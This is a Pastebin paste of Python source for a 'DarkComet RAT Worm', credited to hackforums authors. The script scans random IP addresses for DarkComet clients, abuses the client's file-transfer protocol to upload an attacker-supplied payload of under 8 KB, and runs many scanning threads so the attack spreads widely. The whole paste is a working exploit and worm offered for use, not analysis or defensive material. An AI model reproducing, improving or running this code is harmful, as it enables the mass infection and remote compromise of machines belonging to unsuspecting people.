Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # DarkComet RAT - Exploiter
- # written by Slayer616
- # modified by Fl0urite/Freak (THE EXPLOIT IS NOT MINE I JUST MADE IT A WORM)
- # if you like this worm feel free to +rep me http://www.hackforums.net/member.php?action=profile&uid=2209711
- # Thanks to: Opcodez, Zacherl, steve1020, 2sly, Protocol, all other friends/coders/supporters
- import socket
- import os
- import random
- from threading import Thread
- print("-----------------------------------------------------------")
- print("DarkComet RAT Worm")
- print("Coded by Slayer616, modded by Freak/Fl0urite")
- print("-----------------------------------------------------------")
- def Worm(sPort,sFile):
- while 1:
- sIP=GenerateIP()
- if os.path.exists(sFile):
- bLen= os.path.getsize(sFile)
- if bLen < 8096:
- if sPort.isdigit():
- print("Connecting to %s on Port %s" % (sIP,sPort))
- sSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- try:
- sSock.connect((sIP, int(sPort)))
- print("Connected to Remote PC!")
- sData = str(sSock.recv(1024),'ASCII')
- if sData == "IDTYPE":
- print("Valid Client! Now sending request!")
- sSock.send(bytes("TRANSFERupnp.exe|DLFILE|562|7","ASCII"))
- sSock.recv(1024)
- sData = "Size:%s" % (str(bLen))
- sSock.send(bytes(sData,"ASCII"))
- sSock.recv(1024)
- f = open(sFile,"rb")
- sData = f.read()
- f.close()
- sSock.send(sData)
- sSock.close()
- print("Finished! Now wait until Client.exe restarts!")
- else:
- print("This is not a valid DarkComet Client!")
- except:
- print("Couldnt connect to Remote PC!")
- else:
- print("Port is not a valid Integer!")
- else:
- print("Payload is too large! Use one with less then 8Kbyte!") #grammer nazi
- else:
- print("File not found!")
- def GenerateIP():
- return str(random.randrange(0,255))+"."+str(random.randrange(0,255))+"."+str(random.randrange(0,255))+"."+str(random.randrange(0,255))
- def Main():
- sPort=raw_input("Darkcomet Port: ")
- sFile=raw_input("Payload File: ")
- threads=int(raw_input("Threads: "))
- print("Starting threads...")
- for i in range(0,threads):
- Thread(target=Worm, args=(sPort,sFile)).start()
- print("Started threads!")
- Main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement